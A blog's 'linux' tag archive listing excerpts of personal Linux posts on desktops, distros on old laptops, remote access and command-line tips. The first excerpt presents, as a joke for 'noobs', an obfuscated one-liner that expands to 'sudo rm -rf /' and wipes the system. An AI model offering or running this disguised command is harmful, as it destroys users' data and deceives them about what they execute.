Tag Archives: linux

Here is my favorite bash script which can be used to teach noobs about bash syntax, man pages and the importance of backup at the same time: s=”r”; d=”$s”m; f=”$s”f; sudo $($d -$f /) If not on Ubuntu, just get … Continue reading →

I just inherited a Logitech VX Revolution mouse – one of those high end mice that I could not bring myself to buy. And by inherited I mean someone who was leaving dropped off their company laptop with all the … Continue reading →

My boss had a tad unusual request the other day. Like me he is also living a double life of working at this company by day, and teaching at a university by night. It turns out that for some reason … Continue reading →

The other day I was handed a quicktime mov file and told to put it on the company website. The catch was that the file was obscenely large, and we didn’t want the clients to have to download Quicktime or … Continue reading →

Ever wondered how to sync up your Kontact Calendar with your Google Calendar? Me too! But I figured it out. Below you can find step by step instructions on how to set it up. First, you need GCALDaemon. Yes, I … Continue reading →

You are happily working on your linux box when all of a sudden something freezes and becomes unresponsive. What do you do? Let’s talk about killing today! img © Rossy ℗∑ñℊ⊍ïñ found @ evilpenguins.tribe.net Everything really depends on situation. If … Continue reading →

Most users of linux based laptops will encounter this issue at one point or another. You bring your laptop into a rudimentary residential Windows based network composed of 3 or 4 machines and a router that acts as a gateway … Continue reading →

We all know that browsers are kinda like religion – everyone has one that they like, and thinks all the other ones are crap. Sometimes people convert, but most of us usually subscribe to the “one true browser” club of … Continue reading →

As remote protocols go VNC is usually considered the standard because it is open, popular and relatively easy to work with. There are dozens of free and commercial implementations of the protocol, and even products like my favorite CrossLoop use … Continue reading →

Random linux tip – if you don’t feel like dealing with the regular KDE or Gnome based applications or mechanisms for taking snapshots of your screen, there is a simpler and quicker way. You can do it directly from the … Continue reading →

I’m wondering how long will it take until the legions of low skilled Weekend Web Designers will start using the Microsoft ClearType Fonts en masse. I’m guessing it’s popularity will be largely dependent on proliferation of the 2007 edition of … Continue reading →

While I was moderately happy with Fluxbuntu, I decided to give Ubuntulite a shot. It sounded like a great idea – the most basic of basic systems, with minimal Openbox setup on top of it. Fluxbuntu still seemed to exhibit … Continue reading →

I admit that I was pretty excited when I first heard about Dell shipping Ubuntu on their select machines. I figured that you can’t go wrong with a pre-installed tested system. However, since I haven’t bought one, or read any … Continue reading →

One of the official Lenovo blogs is asking the users what Linux distro they would want to be supported on their Thinkpad. Something tells me that Ubuntu is winning: It seems that Ubuntu users are a legion. Give us a … Continue reading →

This post is yet another entry in the Compaq Presario 1240 saga. If you have been reading this blog for the past week or so, you know what is going on. If you are new, let me explain. Last December … Continue reading →

I was slightly disappointed with my installation of Damn Small Linux on the Compaq Presario 1240. Since Arch Linux didn’t work I decided to try another compact distribution called Slax. It’s based on Slackware and is designed to boot from … Continue reading →

In December I got two old, broken laptops from the relatives. The older, crappier one of them was a 200 MHz Compaq Presario 1240. The machine had only 98 MB of RAM, and a crappy on-board video card. In fact, … Continue reading →

How many virtual desktops do you usually run on your machine? This question is probably directed more towards the Linux users rather than the Windows folk. When I’m using my XP box I usually stay with a single desktop, because … Continue reading →

How do you control your background services in Linux? Purists will probably say that renaming the symlinks in the rc folders is the way to go, but for me that’s a pain in the ass. I much more prefer some … Continue reading →

I use Kubuntu on my laptop. I noticed that wherever I go, I usually end up mounting some windows shares or remote drives. I have 5 or 6 entries in fstab but I don’t have them auto mounting at startup. … Continue reading →

I have been an apt user since I first started messing around with Debian. I never used the graphical tools such as Synaptic. Now that I read Aaron Toponce’s convincing argument for using aptitude over apt, I’m wondering if it … Continue reading →

Here is a question: when was the last time you used the Caps Lock key on purpose? When was the last time you went “hey, I wish I could type in ALL CAPS ALL THE TIME”! Chances are that unless … Continue reading →

You learn something new every day. I just learned about the pkill and pgrep commands. I can’t believe I haven’t used these before. Let me give you an example of when they are useful. My Firefox sometimes does something weird … Continue reading →

Dear Internets, Can we please put this flamebait to rest? It is not even amusing to argue about this anymore. I mean, it has come to the point that even Slashdot (of all places) feels apathetic towards this subject. This … Continue reading →

I got a nice surprise today. I scrolled through the Slashdot feed, and saw a story about Google finally releasing their desktop search tool on Linux. So I immediately went and downloaded a copy. I like Google Desktop Search because … Continue reading →